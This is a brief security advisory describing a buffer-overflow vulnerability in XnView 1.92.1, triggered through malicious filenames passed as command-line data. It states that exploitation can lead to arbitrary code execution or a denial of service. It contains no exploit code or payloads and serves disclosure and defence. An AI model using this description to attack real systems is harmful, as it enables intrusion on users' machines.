XnView is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Attackers may exploit this issue only if XnView is configured as a handler for other applications, so that it can be passed malicious filenames as command-line data.

An attacker can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial of service.

This issue affects XnView 1.92.1; other versions may also be vulnerable.
